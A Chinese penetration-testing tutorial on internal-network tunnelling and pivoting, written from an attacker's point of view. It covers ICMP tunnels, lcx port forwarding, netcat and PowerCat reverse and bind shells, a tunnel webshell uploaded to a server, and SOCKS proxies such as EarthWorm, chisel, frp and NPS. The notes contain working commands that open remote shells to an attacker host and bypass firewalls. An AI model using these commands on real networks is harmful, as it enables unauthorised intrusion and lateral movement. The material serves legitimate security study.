内网穿透
内网穿透
常用的隧道列举如下:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
网络层隧道技术
在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问
icmpsh
https://github.com/inquisb/icmpsh
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问,安装Python-impacket库:
1 | apt-get install python-impacket |
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.
1 | sysctl -w net.ipv4.icmp_echo_ignore_all=1 |
完成后开启系统ping的话将最后的1改为0即可
使用run.sh报错,换成python运行
1 | sudo python2 icmpsh_m.py 192.168.111.133 192.168.111.131 |
然后在Win7上执行命令:
1 | icmpsh.exe -t 192.168.111.133 |
成功返回shell
利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记
PingTunnel
http://freshmeat.sourceforge.net/projects/ptunnel/
进行安装,安装报错见网上的文章:ICMP隧道之PingTunnel利用
查看帮助信息man pcap
在web服务器192.168.1.4中执行
1 | ptunnel -x bmth |
然后在VPS机器192.168.1.10中执行
1 | ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x bmth |
含义:在访问攻击者VPS(192.168.1.10)的1080端口时,会把数据库服务器1.1.1.10的3389端口的数据封装在ICMP隧道里,以Web服务器192.168.1.4为ICMP隧道跳板进行传送
-x:指定ICMP隧道连接的验证密码
-p:指定ICMP隧道另一端的IP
-lp:指定要监听的本地TCP端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的TCP端口
传输层隧道技术
传输层技术包括TCP隧道、UDP隧道和常规端口转发等
lcx
lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版为lcx.exe,Linux版为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接
内网端口转发
将目标主机3389端口的所有数据转发到公网VPS的444端口上
1 | lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389 |
在VPS上执行
1 | lcx.exe -listen 4444 5555 |
将本地4444端口上监听的所有数据转发到本机的5555端口上,此时使用mstsc
登录VPS的5555端口即可访问目标服务器的3389端口
本地端口映射
如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口(例如53)
1 | lcx.exe -tran 53 <目标主机IP地址> 3389 |
netcat
https://eternallybored.org/misc/netcat/
-d 后台模式
-e prog 程序重定向
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, …
-h 获取帮助信息
-i secs 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管路和控制传入的数据
-n 直接使用IP地址
-o file 指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
-p port 设置本地主机使用的通道端口
-r 随机指定本地和远程主机的通道端口
-s addr 设置本地主机送出数据包的IP地址
-t 以TELNET的形式应答入站请求
-u UDP模式
-v 显示详细信息
-w secs 设置等待连线的时间
-z I/O 模式,只在扫描通信端口时使用
如果客户端连接服务器,客户端想要获取服务器的Shell,就称为正向Shell:
首先监听目标主机的4444端口
1 | nc -lvp 4444 -e /bin/sh |
然后在本地连接目标主机的4444端口
1 | nc 192.168.111.131 4444 |
如果客户端连接服务器,服务器想要获取客户端的Shell,就称为反向Shell:
在本地或者VPS主机上监听本地9999端口
1 | nc -lvp 9999 |
在目标主机中连接VPS主机的9999端口
1 | nc 192.168.111.133 9999 -e /bin/sh |
PowerCat
https://github.com/besimorhino/powercat
PowerCat是一个PowerShell写的tcp/ip瑞士军刀,可以说是nc的PowerShell版本,然后里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等
首先导入Import-Module .\powercat.ps1
,然后执行powercat -h
通过nc正向连接PowerCat
1 | powercat -l -p 8080 -e cmd.exe -v |
通过nc反向连接PowerCat,-c 参数用于提供想要连接的IP地址
1 | powercat -c 192.168.111.133 -p 8888 -v -e cmd.exe |
-l:监听模式,用于入站连接
-p:指定监听端口
-e:指定要启动进程的名称
-v:显示详情
Socks代理
Socks是一个客户/服务器环境的代理协议。是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递,分为socks 4和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080
Neo-reGeorg
https://github.com/L-codes/Neo-reGeorg,使用Neo-reGeorg来进行代理socks5
直接python3 neoreg.py generate -k bmth
生成文件
然后将生成的php文件上传到服务器中,连接python3 neoreg.py -k bmth -u http://192.168.239.136/yxcms/tunnel.php
最后编辑/etc/proxychains.conf
加入socks5 127.0.0.1 1080
即可
chisel
https://github.com/jpillora/chisel
服务端:./chisel_1.7.6_linux_amd64 server -p 1234 --socks5
攻击端:./chisel_1.7.6_linux_amd64 client 192.168.157.128:1234 socks
然后设置socks5为127.0.0.1:1080
,代理成功
EarthWorm
美创科技安全实验室课堂——利用EarthWorm实现内网穿透
内网穿透神器EarthWorm,简称EW是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能
EW共有六种命令格式,分别为ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran。其中,用于普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks,其他命令用于复杂网络环境的多级级联
正向SOCKS 5服务器
当攻击者位于外网时,无法直接访问到目标网络内部的主机,但是可以访问到目标网络中对外提供服务的服务器,而恰巧这台机器也拥有内网IP地址,可以访问其他内网机器
攻击者可以在跳板机上运行EarthWorm,执行以下命令
1 | ew -s ssocksd -l 1080 |
在1080端口上开启socks正向代理,在自己的攻击机上开启全局代理,代理到跳板机的1080端口,至此跳板机就可以将攻击者本地操作的流量转发到内网当中,从而访问到原先无法访问的内网机器,实现内网穿透
反弹SOCKS 5服务器
攻击者位于外网,且无法访问目标网络内部的主机,但是内部网络中存在一台对外网开放的服务器,而且可以访问到其他内网机器
攻击者可以在内网跳板机上运行EarthWorm使其反向代理到某台公网服务器上,然后攻击者再通过外网连接到对外服务器进而进入到内网中。
首先在一台具有公网ip的主机上运行以下命令,将1080端口收到的代理请求转发给8888端口
1 | ew -s rcsocks -l 1080 -e 8888 |
然后在内网跳板机上启动SOCKSv5服务,并反弹到公网主机的8888端口,执行以下命令
1 | ew -s rssocks -d xxx.xxx.xxx.xxx -e 8888 |
EarthWorm还提供了自带的三条端口转发指令,参数格式如下:
将1080端口收到的代理请求转发给8888端口:
ew -s lcx_listen -l 1080 -e 8888
将1080端口收到的代理请求转发给2.2.2.2的9999端口:
ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999
将1.1.1.1的8888端口和2.2.2.2的9999端口连接起来:
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.2 -g 9999
内网穿透工具
frp
学习一下frp的知识,可以实现内网穿透
下载地址:https://github.com/fatedier/frp/releases
可以下载到linux版本和windows版本,首先下载到我们的vps内,并且解压
编辑frps.ini:
1 | [common] |
然后运行./frps -c frps.ini
然后回到我们的虚拟机,编辑frpc.ini:
1 | [common] |
同样运行frpc -c frpc.ini
访问我们的web端,发现online表示连接成功,接下来远程桌面连接到我们的vps_ip,端口为设置的6000
还可以设置socks代理:
1 | [plugin_socks] |
NPS
https://github.com/ehang-io/nps
发现了一个神器nps,这里学习着使用一下
首先下载安装,默认web控制端端口为8080,默认账户密码为admin与123,可在conf文件夹里nps.conf文件里看到,8024端口为客户端对服务端发送连接请求的端口,需要在客户端配置文件配置,只有先连上此端口,才可以使用代理
1 | ./nps install |
然后在客户端点击新增,新建一个客户端的链接方式
保存之后点击隧道,添加一个socks代理,设为6666端口
保存之后将linux_amd64_client.tar.gz上传到我们控制的centos机器./npc -server=192.168.239.132:8024 -vkey=123456
连接成功,然后编辑/etc/proxychains.conf
就可以使用socks5代理了
ngrok
ngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网
首先去官网登录并下载ngrok:https://ngrok.com/
解压得到ngrok.exe
然后根据官网给定的授权码,运行如下授权命令./ngrok authtoken your_token
ngrok会将授权码保存在~/.ngrok2/ngrok.yml中,最后运行命令
1 | ngrok help |